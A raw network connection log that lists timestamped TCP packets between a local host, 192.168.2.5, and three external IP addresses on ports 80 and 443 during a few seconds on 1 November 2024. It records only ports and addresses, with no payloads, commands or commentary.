Nov 1, 2024 05:02:14.927131891 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.927165985 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.927624941 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.927640915 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:14.927679062 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:14.927702904 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:17.193945885 CET	59821	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:17.194267035 CET	59843	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:17.199093103 CET	80	59843	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:17.199105024 CET	80	59821	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:17.199217081 CET	59843	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:17.199264050 CET	59821	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:17.199408054 CET	59843	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:17.204180002 CET	80	59843	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:17.636863947 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:17.636903048 CET	443	59844	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:17.637070894 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:17.638535976 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:17.638552904 CET	443	59844	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:18.098007917 CET	80	59843	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:18.098258972 CET	59843	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:18.100229025 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:18.100636005 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:18.106105089 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:18.106178999 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:18.106363058 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:18.106580019 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:18.106640100 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:18.112210035 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:18.255388975 CET	443	59844	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:18.255496979 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.257728100 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.257736921 CET	443	59844	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:18.257973909 CET	443	59844	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:18.302359104 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.311152935 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.311172009 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.311244965 CET	443	59844	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:18.808801889 CET	443	59844	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:18.808885098 CET	443	59844	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:18.809070110 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.809192896 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.809209108 CET	443	59844	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:18.809231997 CET	59844	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.809240103 CET	443	59844	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:18.916511059 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.916534901 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:18.916650057 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.916960001 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:18.916973114 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:19.013703108 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.013736963 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.013760090 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.013856888 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.013858080 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.013874054 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.013902903 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.013916969 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.014055967 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.014071941 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.014086008 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.014098883 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.014101982 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.014111996 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.014133930 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.014301062 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.018699884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.018717051 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.018785954 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.171478033 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.171504974 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.171516895 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.171612024 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.171674967 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.171686888 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.171721935 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.171747923 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.171797991 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.171837091 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.171905994 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.171917915 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.171946049 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.171957016 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.172070980 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.172082901 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.172122002 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.172669888 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.173116922 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.173130035 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.173181057 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.288295984 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.288320065 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.288376093 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.288415909 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.288455963 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.288466930 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.288467884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.288492918 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.288502932 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.288810015 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.288856030 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.288875103 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.288887024 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.288917065 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.288928986 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.289016008 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.289062023 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.289407969 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.289485931 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.289499044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.289525986 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.289551020 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.289623976 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.290013075 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.290057898 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.405566931 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.405703068 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.405715942 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.405812025 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.405875921 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.405886889 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.405922890 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.405944109 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.406052113 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.406063080 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.406124115 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.406235933 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.406248093 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.406294107 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.406416893 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.406461000 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.406944036 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.406955004 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.406965971 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.407012939 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.407078981 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.407758951 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.407768965 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.407819033 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.522871971 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523045063 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523057938 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523071051 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.523107052 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.523195028 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523211002 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523237944 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.523258924 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.523392916 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523402929 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523415089 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523433924 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.523459911 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.523699999 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523710966 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523721933 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.523746014 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.523771048 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.524350882 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.524360895 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.524406910 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.524672985 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.524684906 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.524696112 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.524806023 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.526062012 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.554924011 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:19.555063963 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:19.640060902 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640079975 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640125036 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.640153885 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.640187979 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640198946 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640213013 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640223980 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.640252113 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.640377998 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640388012 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640415907 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.640440941 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.640559912 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640571117 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640582085 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640594959 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640598059 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.640618086 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.640647888 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.640727997 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.640763998 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.641443968 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.641486883 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.641591072 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.641628027 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.641957998 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.641969919 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.641982079 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.641994953 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.642007113 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.642023087 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.744348049 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:19.744366884 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:19.744666100 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:19.746310949 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:19.746310949 CET	59846	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:19.746375084 CET	443	59846	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:19.757111073 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.757124901 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.757164955 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.757193089 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.757268906 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.757288933 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.757304907 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.757317066 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.757447004 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.757492065 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.757621050 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.757659912 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.757951021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.757961035 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.757971048 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.757982969 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.757992983 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.758007050 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.758044958 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.758105993 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.758141041 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.758160114 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.758172035 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.758196115 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.758213997 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.758454084 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.758464098 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.758502007 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.758682013 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.758693933 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.758706093 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.758717060 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.758718014 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.758740902 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.758754969 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.873648882 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.873665094 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.873723030 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.873879910 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.873920918 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.873939037 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.873976946 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.874012947 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.874059916 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.874083042 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.874119043 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.874169111 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.874181032 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.874207020 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.874223948 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.874377012 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.874413967 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.874478102 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.874490023 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.874521971 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.874607086 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.874645948 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.874840021 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.874877930 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.874891996 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.875042915 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.875375032 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.875411987 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.875444889 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.875456095 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.875482082 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.875498056 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.875555038 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.875569105 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.875694990 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.875718117 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.875729084 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.990995884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991049051 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991061926 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991101980 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.991121054 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991146088 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.991159916 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.991283894 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991297960 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991328955 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.991415024 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991426945 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991436958 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991457939 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.991470098 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.991728067 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991770029 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.991772890 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.991806984 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.992510080 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.992551088 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.992584944 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.992597103 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.992624044 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.992641926 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.992660046 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.992698908 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.992788076 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.992799044 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.992825985 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.992835999 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:19.992970943 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.992981911 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:19.993016005 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.107925892 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.107964993 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.107978106 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.108086109 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.108184099 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.108196974 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.108213902 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.108238935 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.108263969 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.108356953 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.108369112 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.108406067 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.108584881 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.108628988 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.108635902 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.108670950 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.109385014 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.109425068 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.109452963 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.109464884 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.109497070 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.109555960 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.109597921 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.109647036 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.109664917 CET	80	59845	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:20.109688044 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.109703064 CET	59845	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:20.109824896 CET	80	59845	185.215.113.16	192.168.2.5
